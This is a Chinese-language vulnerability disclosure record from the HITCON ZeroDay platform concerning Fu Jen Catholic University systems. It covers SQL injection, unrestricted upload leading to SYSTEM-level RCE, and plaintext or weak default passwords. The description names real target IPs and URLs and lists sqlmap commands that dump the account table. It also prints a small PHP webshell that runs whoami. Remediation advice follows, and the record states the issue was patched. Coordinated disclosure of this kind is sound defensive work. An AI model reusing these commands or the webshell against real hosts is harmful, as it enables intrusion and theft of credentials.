輔仁大學 SQL Injection&Unrestricted Upload to RCE 等多項漏洞

Vulnerability Overview

ZDID: ZD-2023-00411
發信 Vendor: 輔仁大學學校財團法人輔仁大學
Title: 輔仁大學 SQL Injection&Unrestricted Upload to RCE 等多項漏洞
Introduction: Sqli+任意檔案上傳+最高權限RCE+明文密碼+弱密碼

處理狀態

目前狀態

公開

Last Update : 2023/08/22

新提交
已審核
已通報
已修補
已複測
公開

處理歷程

2023/08/06 15:56:59 : 新提交 (由 DL56 更新此狀態)
2023/08/07 11:07:56 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2023/08/08 19:10:25 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2023/08/08 19:10:26 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2023/08/16 08:39:13 : 複測申請中 (由組織帳號更新此狀態)
2023/08/16 10:43:02 : 未修補完成 (由 DL56 更新此狀態)
2023/08/16 13:46:51 : 複測申請中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2023/08/19 01:03:31 : 確認已修補 (由 DL56 更新此狀態)
2023/08/22 03:00:08 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2023-00411
通報者：dinlon5566 (DL56)
風險：嚴重
類型：遠端命令執行 (Remote Code Execution)

參考資料

攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。

漏洞說明： OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection

漏洞說明： OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection

漏洞說明： CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html

漏洞說明： CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

將 http://140.136.129.84/informationSystem/login.html 中發送帳號與密碼，並使用proxy工具進行請求封包攔截並儲存為140136.txt
使用sqlmap工具可以發現有sqli漏洞，並且可存取資料庫資料。
payload : sqlmap -r 140136.txt --dbs
發現其中含有用戶郵件位置、明文密碼等機敏資料。並發現使用相同預設密碼佔89.1%，且為易破解數字。
payload : sqlmap -r 140136.txt --batch -v 3 -D information_system -T account
使用 sqlmap --is-dba 發現具有dba權限，並可以使用參數--file-read。
使用 sqlmap --sql-shell 可以進入資料庫命令，但不具寫入檔案權限。使用 --os-shell 無法使用。

6.利用最高權限使用者登入系統，發現可以上傳與刪除任意檔案，並且內容存在./php/upload/[filename]。

7.上傳sh311.php 發送 whoami指令
payload:

<?php
echo system("whoami");
?>

於./php/upload/sh311.php 得到 nt authority/system 證明得到最高權限RCE。

PS: 140.136.202.95/dashboard/phpinfo.php 為 phpinfo() 資訊洩漏。

以上添加與檢閱內容於測試後已刪除。

風險評估:
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Score:9.8(Critical)

修補建議

1.SQL Injection：

使用參數化查詢來防止sqli。
使用低權限的資料庫帳戶。
進行正確的輸入驗證和輸出編碼。

2.任意檔案上傳：

嚴格限制可上傳的檔案類型，例如只允許上傳圖片格式如.jpg、.png等。
使用隨機化的檔名存儲上傳的檔案。

3.明文密碼：

確保所有的密碼都是使用強大的加密算法（BCrypt、Argon2等）進行加密。
避免使用明文或可逆的加密技術來存儲密碼。
定期提示用戶更新其密碼。

4.RCE（遠程代碼執行）：

使用WAF來檢測RCE。
限制Web應用程式的運行環境權限，不允許其執行系統命令。